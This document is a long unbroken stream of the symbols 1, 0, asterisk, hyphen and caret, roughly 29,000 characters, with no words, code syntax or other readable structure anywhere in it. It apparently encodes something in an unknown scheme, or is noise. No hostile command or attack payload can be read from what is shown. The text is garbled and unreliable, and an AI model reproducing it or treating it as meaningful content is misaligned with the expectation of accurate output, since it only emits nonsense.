1*001*101*10-00-11*00101*-11**1*00101****1**01^^-00-0011****011**0011*1*101*^11*1*110110^-01^1**1*******************00-*01*0^-01*-----^--*01011*-*1011*1^1*^1101*011*1*^--110-11*-11*1*1*001*001^1*110101******001^1*0101******1***01^1*001******1***001101*00^110101*******-*00101******11**0101101**1******11**01^11**^-01*110101******-*1*0101******01**101***01******01**00-**00^110101******01*001*101**********^1*001*********-1101*001*001*00101****1**01^^-00-0011****01**01*001*0101*0101*11011010^1*0-^-****1*0-*00101*1011*0011****001***1^1*10^^11*01*11011**0101^101011**001*0101*-----110--10-1*00-*1011*1^1*-01*-11*0011*0110101******1*0101*101******01**^10101*001******01**-10-*00^110101******0-*1*101*********0011011*001*********1101011*001*11****01**01*001*0101*0101*11011010^1*0-^-10101**0^11011*00101*-*00-----110--1^-*0-*1011*1^1*^1101*-00--01********001^-*00^-110101*^1*****01**00^-**1*01****01**001**0--01*^11010-0-11*001****01**001**0--01010-0-11*001****01**001**0--*****0010^110--**01*010^1*****001**11***001*-1*1*1*-----110--01010101*-*1011*1^1*1*1*-11*1010--010^-1*0-11*-----110---01101*-*1011*1^1*11011**1**110^1**00--^-**11*1*1*-----110--011*11*-*1011*1^1*10101*-11**11*1^1*-01*1010--010^10101*-11*-----110--01101011*-*1011*1^1*^1101******0101^10-011*001*010^1*********10101*001*0-*1*1*10101*00110^1**00--101101**11*1*1*-----110--0^-1*-*1011*1^1*^1101******--00^1**001*010^1********001*01*001*0-*1*1**11*1^1*00-*010101*11*001010--0101**1*-11*-----10--1*01**-*1011*1^1*^1101********001101011*00^1*^1*0-0-11*-11*1*1*0^1*00110^1**00---011**11*1*1*-----10--1^101*00-*1011*1^1*^1101******1^10-001**001*010^10-1*00-*1*1**11*1^1*^11*-----10--110-1*00-*1011*1^1*^1101******1^10101010101*001*010^1*****001**0-001**1*-1*1*1*1101*0110101******0-*1*101********00-10101*001********001*0101*001*11****01**01*001*0101*0101*11011010^1*0-^110^1**00^10-*00101*011****01**0010^11*101********001010^1*001*********0--*001*1011*-11*0110--010^-01*-----10---*001*-*1011*1^1*1*^-010^-11*11011*1*1*0011**110^1**00--1*11**11*1*1*-----10--10110^1*-*1011*1^1*01011*-11**11*1^1**11*0101*00101****01**0^1*1^-01010--0101*1011*-11*-----10--^110101*-*1011*1^1*^1101*****00-0-**-*001*010^1********0-*1*001*0-*1*1*10101*00110^1**00---101**11*1*1*-----10--1*^11*-*1011*1^1*^1*0-11**11*1^1*11011*1010--010^1*1*-11*-----10--1*11011*-*1011*1^1*1^1*-11*^1*010110^110101******-01101*101******1***101101*001******1**00^1011*00^110101******0-*1*101******1**0-00101*001******1**0^10101*001*11****01**01*001*0101*0101*11011010^1*0-^-01101**0^^11*00101*-**^--010^1*^^1*10-11*11011*1*1*--------01101**-*1011*1^1**11**1**110^1**00--101011**11*1*1*--------10^1*00-*1011*1^1*0011*0-11**11*1^1*01011*1010--0101*0101*-11*--------101011*00-*1011*1^1*10-**1**110^110101******-01101*101******11**010-01*001******11**10-011*00^-*0010110-11010^1101101*011*1*^1********^1^1*00^10-*1*1*--------1101101*0-*1011*1^1*^1101*****001010-0^10101*001*010^1*01^-11*00-*1*1*0^1*00110^1**00--1^11**11*1*1*--------0010-*0-*1011*1^1*^110^-0010-11*1*^1*********1*1*00^11011*1*1**11*1^1*01101******01***1^1********01^-1********1*0-*****01**0--1******1**001^1*****0011***01******01**011*011*****01**010-11********010101101********10101******001**01101******01**0-0^1*****01**0-11011*****001**11*01******1**^-01********00^11*****0011****1******1**^-01********1*0011*****001**^-01*********1101********0010-******1**001101011*****01**0^1********************010-1*****001****11*****001**0-01101********00-*101*^1011*1*1*01011*1^1*^11*-11*1^1*001****01*****0--00-1*1^1*001*******010101010--010-*1^1*001****01**0-010^--*-*1^1*001*******-1*10--011011*1^1*001****01**001**0--*010^1^1*001****01**0^110^--0-10^1^1*001*******0-11010--001101*01^1*1**11010^1*1********001*****0^1*0010101****01**001^11011****10101*01********0^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********0^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******10^-*101*11*******011**00101*-1*-*0010110101011*-*^1*001*********-0011*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^11*******0010101*********011*******001*001^1101*****01***011******011**1101^1**********001*******0010101*********^1*******1**-01101********110101******01**0011*1****************00101^1*001***010101*101*01*1*-----1010-1^^101*-00-----10--101*-*-0011011*1^1*^11010110-10-11*1*^1********1*0011*00^1*1*1*1*--------1^-1*-*-1*-----10--1010-11*-0011011*1^1*10-**********1*0^-001**00--10-1*0011*01*1*--------0011**0-0011011*1^1*^1101******11*--11**0^1^^^101*-11*1^1*1*1*0011*01^1*-01*--------01010-*-00^1101*****00101*110--1*00^1^^-011*1^1*1*1*--------*011*00-0011011*1^1*^1101*******00^1*-*001*010^10^1010-11*00-*1*1*********0^1*^-001**00--101101*0011*01*1*--------001^1*0-0011011*1^1*0-*0-11*0011*01^1*00-*010101*11*00--------0^-1*-*-*0-11*--------1*011*0-0011011*1^1*-1*0-11*********^1*0^-001**00---011*0011*01*1*--------0010-*0-0011011*1^1*^1*0-11*0011*01^1*0-1*010101*11*00--------01*001*-0011011*1^1*^1101*****00-1^-10101**1*010^1*****01**001***001**1*1*1*-----10--11010-00-1^^11010-01*011****001**01010110-1011*1*001*1*101*001*1*---------00101*-0011011*1^1*11011*101*001^1**11010-01*101*001*1*********0010^1********1101101********0^1011********0^10101*********11011********1^11*******************01*001********01^1011********1*0011********101011*********-*********0101011********0010-01*****************************0010-01********01*1*101*1011011*1*1*11011*1^1*0101*0-11***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*01*1*011****001**1^1^-101^11********00-*101*1**^1*01*1*011****001**-01^-1011*01*01*1*^1*01*1*011****001**10101^-10110-*001*1*^1*01*1*011****001**^-00-101^11*001*1*^1*01*1*^1*01^1*011****001***01^1^-0011*00--------01^-*-00^1101******0110-1010-1*00^1^^1********01101011*00^1^1*1*1*--------010-*00-00^11*1^1*^1*0-11*********^1*0010-00110101******010-1*0101*********1101011*001********0010--*001*001*01*1*--------1^-1*-*0-*---------1101*0-00^11*1^1*^11**********1*0010-00110101******010-1*0101******1**0-***01******1***1101**0^-*001*1*---------10-*-001*^1*01010-11*0^1*1*1*---------*01*-00^11*1^1**11**********1*0010-00110101******010-1*0101******11**0-1101*001******11**1010^1*001*11*001*1**1*01^1*011****001**00110110-10110^11*101*001*1*001*001*1*--------1*1101*-00^11*1^1*-01*-*001^1*011****001**00110110-101^1011*101*001*1*001*001*1*011*001^1*011****001**00110110-10110-01*101*001*1*001*001*1*********01010101*******************010101********01*0-********1*0-********001101*********00-1*********10101**********1*******************00101*0101*10^11*1*1*^11*1^1*0-1******01**0110-1*0-00101*001^1*01101*--------*011*00-00-01*1^1*^1101******11011010^1101*001*010^1*****001***-**01**1*1*1******01**0110^-00-001**00--110-*0011*01*1*---------^1*0-00-01*1^1*^1101********0-11011*00^1*^^1*10-11*0^1*1*1*0011*01^1**11*0101*00101****01**0^1*1^-0--------0^-1*-*101*0-11*--------1*-*0-00-01*1^1*^1101*******010^1^11*001*010^1*****01***01101**1**1*1*1*********10101*^-001**00---101*0011*01*1*--------*0^1*-00-01*1^1*^110101*1*-11*1*^1********^1^1*001*^1*1*1*0011*01^1*10-*010101*11*00--------1^-1*-00^11*--------10110101*-00-01*1^1*01101**********1*0010-*11****001**1*-0-101^11****001***1^1*10^10-*01*11011**0101^1*101**01*0101*001*001*1*********0--*****************************0010-1********0011*11********001^1*********00101********0010-001********10-1*******************001^1********001101*0101*10-01*1*1*-01*1^1*-01******011***00^10-0110101*01^1*011**1^1********00^1*010-01^1*001^1*011****001**01^1101^-0^1**************************************************************00101*00101*1010101*1*1*10101*1^1*01011*1011*0110101******0-101*010^10101*-11*-00^-11*011****011**10-001*10^1101**-^-0^10-11**01*0101*0-1*^1*0-11*110101******-101*00101******1**011*011*001******1***01*1*00^1101*01*1*10-00101*^-11*01101*1101*01*1*1101*01^1*1*******0010^^1011*-101**1*0-*00-----110--01*-*-*-*01^1*00-*0011*0110101******001^1*0101*********10-11*001*********^1011*00^110101*******-*00101******11**11*011*001******11**--11*00^-01*110101******-*1*0101*00-10-11*1*0110-11*110101******01*001*101******01**1*001**1******01**-1011**^110101******1*0101*101******01**0^1101*001******01**0010-1*00^110101******0-*1*101******1***10-**1******1**0010-1**1*11****011**10-001*10^1101**-1**^10^1101*001*0101*-01*01011*-11*-**101****1**01^^-00-0011****001***1^1*10^^11*01*11011**0101^11011***1*0101*-----10--1*0011*0-*-*01^1*-1*0-11******01**0-00110^-001**00--^-*0011*01*1*-----10---00-*0-*-*01^1*0101*0-11*0011*01^1*^11*-----10----11*0-*-*01^1*^11*1101*0110101******0-*1*101******11**1*0011*001******11**-^11*001*11****01**01*001*0101*0101*11011010^1*0-^11010-11*00^^11*00101*011****01**0010^11*101******01**0010101**1******01**10-1**01*0-*-11*--------0^-1*-*101*0-11*-----10--^-101*-*-*01^1*-01**********1*0^-001**00--1*11*0011*01*1*-----10--10-0011*-*-*01^1*^1101******0-1101101101**^1^^1********01101101*00^1^1*1*1*0011*01^1*11011*--------00110-*-00^1101*011010-11*1*^101011010-11*0^1*1*1*-----10---00-1*-*-*01^1*^110101*^-010110-11*1*1*1*1*1*^1*00^-11*1*1*1*1*********0^1*010-00110101******-01101*101********0010110-*001********001101*1*00^110101******0-*1*101******1**00^1**001******1***-**001*11****011**10-001*10^1101**-1**^-101101*001*0101*01011*0011*0-11*-*00--------01^-*-00^1101*****00-0^-1^11*001*010^1********01*101*001**1*1*1*--------010^1*0-*-*01^1*01101**********1*0^-001**00--101011*0011*01*1*--------00-01*0-*-*01^1*^1101010-010-11*1*^1*****01**0011***0^-1*01*1*0011*01^1*01011*--------1*-*0-*-*01^1*^110^1010^-11*1*^1********00110-*00^-1*01*1*******1*001*1101^-00110101******-01101*101******01**01101**001******01**1*-**^-*00--------1^-1*-*0011*--------0-^1*-*-*01^1*1101*0-11*********^1*0^-001**00--1^11*0011*01*1******0101*00-0101*0-*011*01^1*01101******01**0^1101********************^1*****001**0-^11********1*01******1**0011*1*********01******001**0010-********0011010-*****01**0-01011********1^1011*****01***1*******1**0010-********0010-01*****001***1**********1*001*********01*101*^-*01*1*0-*01^1*0-*0-11*1^1*1^1*001****01**0^110^--00^1*1^1*001****01**0-010^--01*1*1^1*001****01*****0--*001*1^1*001*******010101010--0-1*01^1*001****01**001**0--*-*1^1*001*******-1*10--001101*01^1*********1***-001*1******0--1*****00101*0011*-**00-***1^11011****10101*01*******1011*110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1011*-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******1*0-*101*11*******011**00101*-1*-*001011010-1*11*-1**1********00-01011*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^-----110--110-011*-*11*001^1*10-*01010^-*00-----10---^-*-*11*001^1*10-*--------0^-1*-00^1*0-11*-----10--10110-1*-*11*001^1*0-1**********1*010-^^110^101101010-*001*001*1*^1*******001*0110-**0^1011******001**0101101**01*01*001^1*00^^-11*0101**011010-01*011*00--------00-**-*11*001^1*^1101*********101101*00^1*^1*10^-11**1*01*1*1101*00101*******-011*010^11**01**--------011011*00-*11*001^1*1*^1*****01**0-0^1*00^^1*01*1*1101*00101******001011011*010^11**01**--------101^1*0-*11*001^1*^1101******0-01011*-*00^1^^^1*10-11*-*001*1*1101**01*01********1010^10101*0--101**0^1*--------10110-*-*0011*--------1^-1*-0011011*--------1010-*0-*11*001^1*1*^1*01010-11**1*01*1*********0^1*********0011*********001**101*101*01^11*00^1101*1*10-11*1*0110101**01*00--------0110^1*-*11*001^1*^1101**^-11*1*^1********01010101*001*001*01*1*0101*001101*--------01010101*-*11*001^1*^1101******00101011*011**^1^^1*****01**01010-**^-*001*1*01^1*11*******0-1011*01011******************00^10101********11011*********0-1011********01101011********-101*********0-01*********0-1**********-********1*1101********-1*1********^10101*********-1********01011*0101*^11*001*1*********0110101*0-00^1*01^1*001*******0-11010--*01*01^1*001****01**0-010^--0-*001^1*001****01**0^110^--001101*01^1*********1***-001*1******00--*****001***1*1***101***1^1^1***00--------01011**-001011*0^1101*****00-0^^1^11*001*010^1********01*101*001*11*001*1*01010^1*******0011**1010-0-*00--------101011*00-001011*00101*0-11*--------1^-1*-00^1*0-11*--------001*1*0-001011*0^1101******01^10-1^1*00^1^^1*****01**0101***0^101*001*1*********00101*^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------*1011*0-001011*0-01*1101*00101******001^1**10^11011******011**0011*-**11011******00-**11*101**--------1**1*-001011*0-01*1101**101*--------01010-*-00^110101*^101011*-11*001*001*1*1*^110110^-11*001*001*1*--------0101^1*-001011*011011*********-*********001**0101*101*01^11*00^1101010101^-11*1*011*1*00101*00--------0^1101*-001011*00101*0-11*0101*001101*--------00-101*-001011*01101*0-11*01^1*11*******10-011*01011********0-**********011*********1010^1********^^1**********01********01011*1**********1*********-001*******************1*11********001*11*******************0011*0101*10^1**********1*1*0-*11*001^1*001*******010101010--0101*001^1*001****01**0^110^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******010-11*****001**0-*****1***1^1^1*********--------01^11*0-*10101*1^1*11*******00-011*01011******************00-*********00-*********00-********************0101*00101*1*01*01*1**1*01^1*01101*01010^--------0-001*0-*01*001^1*01011*--------0^-1*-00^1*0-11*--------10-01*0-*01*001^1*00-**********1*010-^^110^101101*011**1*0-*******-**00^11*00^1101******0011**00^-*001*011*0^11*-11*0101**011010-01*011**101****1**0011*11*10^11011******011**0011*101**--------0011*1*-*01*001^1*-01*--------^10-*-00^110101^1*-11*1*^1*****01**001*001*001*11*001*1*--------00^101*-*01*001^1*0-1**********1*********01**0101*101*01^11*00^110^101*0-11*1*011011**001*00--------10-101*-*01*001^1*^1101*********-001*00^1*^110^110-11*101*001*1*0101*001101*********11*001********10-1********00101*1********0110-1*******************00101*********11*001********************101********010-1*********101*0101*1*1*001*1*001*001^1**11*011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******00-1*********1010-1**00101***1^1^1*1*******0010101*********011*******11***0^1*****001**0-*1*****01**001******************00-*1*001***010101*001*01*1**************************************************************0101*00101*10-01*1*1*-01*1^1**11****-1011*1*01^1*011**1^1*11**-1011*1*01^1*011*00-----110--010-1*0-001^1*1^1*^1101*****00^10-001101**01*010^101011*1011*01*1*0101****01**00101*-10110-*001*1*011****001**10101^-101^11*****1**00101*00101*11*001*1*001****001**-01*0--0-*001*1*011****001**-01^-101^11*****1**0-1*00101*11*****1**^11*00101*11*****1**00101*0010^101*001*1*001****001**-01*0--*1****001**00-*0--0011*******10101**101******1**0^1^1*001******1**011010101*001*01****001**0-1*0--0-*001*1*011****001**1^1^-101^11*******^11011*101*1**-*001*1*011****001**^-00-101^11****011**10-001*10^1101**-1*^^^1^1**1*0101*01101*-1*0-11*-*001*1*-*001^1*011****001***01^1^-0011*00-----10--1101**00-001^1*1^1*^1101******00-00101*11*00^1^^1********10-011*00^1*1*1*1*01^1*11********101*00101*01*001*1*110101******-001*00101******01**-001**01******01**^^1**1*11*001*1*011*001*1*011****011**0011*1*101*^11*1*110101^--*1*001*******************0101*001*0^^11*011****001***1^1*101*0011*01*11011**0101^1*0-**1*0101*011****011**10-001*10^1101**-^-0^1101***01*0101*01101*-1*0-11*011*001^1*0101*******1^1101^-*****001***10-1*00^-----10---11011*0-001^1*1^1*1*^--110-11*10101*1*1*01^1*11********101*00101*01*001*1*110101******-001*0010^-01*-11*^-10-11*101*001*1*101*001*1*011****011**0011*1*101*^11*1*110101^110-*1*001*******************0101*001*01*0011*011*******00101011*10^^-*011*001*101010-01*001*0011*********-00-*001*11****011**10-001*10^1101**-^-0^-***001*0101*00-*01011*-11*101*001^1*0101*******1^1101^-*****001***10-1*001*01*001^1*0101^1*11*^1*0-----10---001011*-001^1*1^1*^1101*1^10-11*1*^1********1^^1*00^10101*1*1*1011*0110101******00110101*101******11**0-01**01******11**10-01**^^1*01*1*10-001*00^-11*01101*^1*01*1*^1*01^1*1*******0010^^1011*-101**1******001**0-0^110-011*1*01^1*011*001010--0101*-*0-11*--------0^1**-001^1*1^1*10-**1**110^110101******010-1*0101******1**0^11**001******1**00^11**01*001*0--------001101*00-001^1*1^1*^1101*****00^11011*01101*001*010^1********^11011*001*-*01*1*0011*01*******0011**0010-0110101******0--*0101******1**001011011*001******1**0110^11*001*11****011**1*-*0101*-**^^-10101^1^1*001*0-*******************00101*001*0^-*******1***--10-011*1*01^1*011**110--0101*-1*--------0110-*0-001^1*1^1*11011010^11*1*^1********-00101*00^10101*1*1*1*1*10110^-**101*-010^1^1*1^1*^110101*^1*********0^1*001*0101*1*1*1*^1^1*0-11*00101*1*1*1101*0110101******01*101*101******01**^1011**1******01**11*11**1*11****001***1^1*10^-01*01*11011**0101^-01101**1*0101*0101****1**001101*0--********0-01101********01010-*****01**00-001*****001***0-01*****001**0^11********001*^1********0^101********0-10101********1^11*********10^1*****************************00-01101*****001**11*01********0-10-********-1*0101*101^1*1*1*1^1*1^1*^11*--------011011*00-*011*01^1*^1101*****0010^-11011**00^1^^1*****01****1**0^1*1*1*1*10101*11010^1010--010^^1*0-11*--------1*101*0-*011*01^1*110110^1011*1*^1011*10-11**01*1*1*0-**110^1**00--1*11*0101*01*1*--------01^11*0-*011*01^1*01011*0101*01^1*-01*0110--0101*1011*--------0010-*0-*011*01^1*01101**1**110^1**00--101101*0101*01*1*11*00-0101*011*01^1*1*^11*0110-11*-1*01*1*0101*01^1**11*0101*00101****01**0^1*1^-*110-11010^^1101******011*101^-*001*010^1*****01**0-101**01*-*01*1*10^10-0101*011*01^1*^1101*****00-001^110101**1*010^-110110-11*1011*01*1*-1**110^1**00---101*0101*01*1*110-0-0101*011*01^1*^1101*****00-11*10-11**1*010^11*1^-11*1011*01*1*0101*01^1*01101*********0^1*********01*001********0^1***********01*******************00-********00-0011********0010^1********00^1*********0^1*********00-01********01101*0101*1*11*01*1*0011*01^1*00-*1*1*1^1*001****01**0^110^--*001*1^1*001*******0-11010--0-1*01^1*001****01**001**0--00-*01^1*001*******010101010--01011*01^1*001*******-1*10--010101*1^1*001****01*****0--*101*1^1*001****01**0-010^--001101*01^1*1**11010^1*1*******-11*****0011**-01101***001**001^11011****10101*01*******0011*110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0011*-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11*******01011011*101*11*******011**0010^11011*-*001011010-1*1^1*1**^-10110-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1*****0010101*1^1*11*******-01011*01011010101*01********1*1**0-011******01**01010-0011**01*******0101*1**011*******0011**1011*--010-11*10-001*****0110101*1101011*001*1011*11011******01***10-0011*00--------011011*00-*011*001101*10-001*****0--0010-11**1*0011*11011******01***10-0011*0010-001*****001*^^11**00^11011*11011******01***10-0011*00---------0101*0-*011**-*10-001*****01*1*110^1**^10-*11011******01**01010-0011*0010-001*****01*11*001101**^-01*11011******01**01010-0011*00--------*-1*0-*011**011*10-001******-**-11*00^^11*11011******01***10-0011*0010-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------^1^1*-*011*0^1101******00^1*0^11*001*010^1*****01**00110101**^^1*010-001******01*011*011*001*0-*11011******01**01010-0011**101*01*******0010^^1011*10-1*001*******^1*1**010101******00101^1*0101*01*******1101*1*010-0^^1*******0010^^1011*1*****0011*001*0101*001********001*001********011*001******************001*001*******************01*11*******************00^101*********1*0101*1*01**11*0^11*1011**1*******010101010--***01101*01^1*********1***-001*1******0110-1*****001**0011*****1***1^1^1***00--------1101**0-00101*001^1*1*^1*****01**0-***01*11*001*1*01010^-*00--------00-**-00101*001^1*00-*--------^10-*-00^1101*****00110-*^^1*001*010^101010110-11*-*001*1*--------001011*00-00101*001^1*1101*0-11*********^1*010-^^110^1011010^11*^1**01******00101*001*-1*001*011******001**0110-11*00^1011*********00--1*001*101**011010-01*011*00--------00-01*0-00101*001^1*^1101*****00101010-10-1**1*010^1********10110101*00^-*001*1*1101*00101******00-00110-1011011011******011**0011*101**--------10-11*0-00101*001^1*^1*0-11*1101*00101*0-11*--------1^-1*-*0011*---------1*1*-00101*001^1*0101101011011*1*^1*****01**0-0^1*001*11*001*1*********1*1*********1**0101*101*01^11*00^110^-0110-11*1*011011**001*00--------1*1101*-00101*001^1*00-*0101*001101*--------110-01*-00101*001^1*01101*01^1*11*******01101011*01011********10^101********-10101********1011011*********011*********10110101*********11***********1********010110101********10-11*********1^1*******************0-**********11*0101*10101*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0010-1*****001**0-1****101***1^1^1***00---------1**0-00101*001^1*-01*01010^1*******00101010101010-0-*00--------0-1**-00101*001^1*-01*--------^10-*-00^110^-0^-11*1*^1*****01****11**^-*001*1*--------011011*00-00101*001^1*^1101******1010101*10-*00^1^^1********01^101*001*11*001*1*********10101*10-^^110^101101*011*^1**01*******11**0101**001*011******0011**0101***^1011*******1**0010-1*001*101**011010-01*011*00--------0101011*0-00101*001^1*1101*0-11*1101*00101****1**011**-1011*1*0011011******011**0011*-**11011******00-**11*101**--------011*01*-00101*001^1*1101*0-11*1101**101*--------1^-1*-*0011*---------0^1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^1101010101010-11*1*011*1**-*0101*00--------1*1101*-00101*001^1*-01*0101*001101*--------110-01*-00101*001^1*01101*01^1*11*******10101011*01011********-1101********00^1101********-1101********00^1101********11010101******************0011010101*********-********0011*101********11*01*********011*********0-**********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0^-1*****001**01101****101***1^1^1*********01010^1*******0011**1010-0^1*0-----110--101^11*-*-*01^1*0011*0-11*01*1011*******0011**0010-0^1*0-*0011011******001**0010-*1*******0101*10--01011*00101*******01*10-101101*******00^10^1010-*1*001*1*--------1^-1*-00^11*-----110--110-11*-*-*01^1*-1*0-11*********^1*00-1^-*001*1*^1*01*1*-----10--11011**0-*-*01^1*^110^-1010-11*1*^-011*-11*1^1*1*1*^1*01^1**11010-01*^1*01*1*-----10--101*1*00-*-*01^1*^1*0-11*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01***10-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01***10-00101*01*1*101*001*1*1*******00^10^1010-*1*001*1*-----10--1*0011*0-*-*01^1*0101*0-11*^1*01^1*-01**1*01^1*^101^-*-011******01***10-01101*01*1*-----10---10-*0-*-*01^1*^1101******^^10--**1*010^--110-11*0^1*1*1*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01***10-00101*01*1*01*110-1*0-11*-*001*1*--------1^-1*-0011011*-----10--1^10101*-*-*01^1*-01**********1*0^-00-1101**^-11*011*001*1*-----10---0-01*-*-*01^1*00-*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10---011011*-*-*01^1*^1101********011*-*00^1*^1*****01**001*01**^1*1*1*1*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01***10-00101*01*1*101*001^1*1^^^11*01*1*11011******01**01010-00101*01*1*001*001^1*0101******0011*1101^-0--------00101**-*-*01^1*1*1*-11*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1********1*10--011011******01***10-*01*001010^1*******0011**0010-0^1*0--------1^-1*-0010-*--------1*001*0-*-*01^1*1*^1*****01**01*-**1**1*1*1*********-1*0^-001011*010^1*101^-1*0011011******001**0010-*1*******0101*10--0--------11*11*0-*-*01^1*11011010^1*0-11*1*^1*****01**01****1**1*1*1*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1*******^1*10--00101*01*011011**1*0110^-*011**^101011011**01*01*00--------0110^1*-*-*01^1*^1101*******01*010-**1*010^1*****001**1^101**^-1*01*1*01^1*11*******00101011*01011********10-001********11011******01***-101********0110-********010-11*****001***^-****************1***^101*****01**0-1*1********0-001********010-11********00110-1*****01**0010-*********-0-*****01**01*101********011011******01**00-*********001101011********0^1*101*^-*01*1*********0101011*0-001^1*1^1*001****01*****0--00^1*1^1*001*******-1*10--01*1*1^1*001*******0-11010--*001*1^1*001****01**001**0--0-1*01^1*001*******010101010--001101*01^1*********1***-001*1*******0-1******1**^1011***011***1^1^1****10101*11*00-----110--*0-*0-*01*001^1*^1101*****00-^^-1101*001*010^10-0010-11*0101*01*1*-----110--01*001*-*01*001^1*0011*0-11*--------1^-1*-*1011*-----110--1*^1*-*01*001^1*-01*-11*********^1*0^-001**00--110-**1*0-----110--11*101*-*01*001^1*0101101011011*1*^1*****01**00-011**^-*001*1*0011*0-01*--------^10-*-00^1101*******-^-1**01*010^110^110-11*^1*01*1*-----110--011*11*-*01*001^1*1011*0-11*********^1*0^-001**00--101101**1*0-----110--*11011*-*01*001^1*^1101******1010-^10101*00^1^^1********01^-*001*11*001*1*0011**011*0101*01*******001*0^1011*1*11010-01*^11010-01*^101^-*101**--------1^-1*-0011011*-----10--101***-*01*001^1*^1*0-11*********^1*0^-001**00---101**1*0-----10--^101**-*01*001^1*00-*0011**-*1101**011010-01*-*00--------1^-1*-*0-*-----10--1*101*00-*01*001^1*^1101*1^10-11*1*^1**10-11*-*001*1*********-1*0^-001**00---011**1*0-----10--1**1*0-*01*001^1*-1*0-11*0011*0^11*1101*001101*--------^10-*-00^1101********010-011*00^1*^^101*-11**1*01*1*-----10--110-01*0-*01*001^1*^11**********1*0^-001**00--1*11**1*0-----10--10-011*0-*01*001^1*-01*0011*011011*-----10--1*-1*0-*01*001^1*0-1*00-001011****01**010-011*101******11**^-1**1******11**0011011**^1*01101*^110-010^101^-*-**-*0011**1*^-1**1**-**11*00--------1^-1*-00-01*-----10---*101*-*01*001^1*^1101*****0011*010-1101**^1^^1********010-11*001*11*001*1*********10101*^-001**00--101011**1*0-----10--11*0011*-*01*001^1*^1101******0110^^10-*00^1^^1********01011011*001*11*001*1*0011*010-*---------10-*-001*^11*-0-11**1*01*1*-----10--101*-*-*01*001^1*^11010^-00-11*1*^1*****01**010110101*00^-*001*1*********0^1*0-1^^11010-01*^101^-*101**-*00--------01^-*-00^1101********001*101*00^1*^1*****01***001**00^-*001*1*--------0^1**-*01*001^1*1*^10^1010-11*101*001*1*********0011*0^-001**00--^-**1*0---------001*00-*01*001^1*^1101******01^101*^1*00^1^^1*****01**0101***01*11*001*1*0011*001011*--------0-11*00-*01*001^1**11*-11*--------0^-1*-*0101*-11*--------0-001*0-*01*001^1*^1101*-00--01010101*-11**0011*10^1010-10-11*001*******-1*10--01*^1*****01***10101**1*01*******0-11010--*****001***10101**1*01*******0-11010--011011*-11*1*^1********0-^1*00^101*001*1*********00101^^-001**00--1^11**1*0--------1101*1*-*01*001^1*01011*0011*001101*********0110^1*****001**0101*********010-101********-0101********00-011********0-0101*****001**0^1^1****************1**01^-*****001**01010101********00101******001**0-11011*****001**10^1*********0101011*****01**00^-1*****01**0^1^1*****01**010-*********0-001*****001**01**1*****01**010-101*****001**1^1******01***0^1*****001**01^-*****001**0-001*********00-11********^11*101*1*1*001*1*001*001^1*1*1*-11*0101*01^1*001*******-1*10--0^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--0101*001^1*001****01*****0--001101*01^1*********1***-001*1******0-0-******1**-*11***001**001^1^1*1*******0010101*********11*******0011*00^11011******1**0-11******1**10-01******************************10-******011**^101*****0011**1*11******11**1*01*********1*********************01*1*****00101*00110^11*****001**1*101*****0011**010-1********001********1^101*00^10101*11***************************************************************101*00101*^-0^1*1*0-0^1^1*01101****-101101^^11**0-1011*-0-0101*0110^1^1*^1101*******110101101**001*010^1^1*0-11*01011*1*1*-----^--00^^--00^101^-*11011*01*1*0-*01*1*0^10-10101*0110^1^1*11011*0-*01^1**11010-01*0-*01*1*******************001101*********010^1***************************************************0-*00101*1*110^1*1*00110^1^1*00-*00-0110101******001^^-1101^11*001*1*^--1010^11011*001010-10101*1010^1^1*^11*101**01101*11*001*1*******************001^1********************011*****************************************0-*00101*^1010^1*1*01010^1^1*-01*010-*-101101*0-10101*0010^1^1*11011*-----110--1^1*--00^101^-*-11*01*1**01*1*1*0^10-10101*0010^1^1*01011**01*1^1**11010-01**01*1*1*******************0011011*********1101******************************001101********************-*00101*1*010^1*1**10^1^1**11*00-0110101******001^^-11011*01*01*1*-10-11010^^110101*^--110-11*01^^1*1*1*^10-*0-11*01^^1*1*001010-1010^10^^1^1**11*101**01101*001*01*1******************************010-*********10-*********01101********************1101*********-*00101*1010^^1*1*10^^1^1*-01*001*^-10110101****01**00101*-101101101*01*1*011****001**1^1^-101^11********01011*101*1**1101*01*1*011****001**-01^-101^101*******^1*-1011010101*1*1*10-001011*****1*00-011*00101*1101*001****001**10-*0--001101*10101*1*1*10101*1^1*1*******0010^^1011*-101*^1*01101*01*1*011****001**10101^-10110110101******-101*00101*10^10-11*00-*00101*1*1*10-001011****01***010101*101******01**0-0-*001******01**00101011*001*1101*01101*00101*1*1*00101*1^1*1*******0010^^1011*-101*1*******0011**0010-0110101******0--*0101******01***001**01******01**1*11**01*11****011**10-001*10^1101**-^1^^^-11**1*0101*00-*01011*-11**1*01*1*1101*01*1*011****001**^-00-101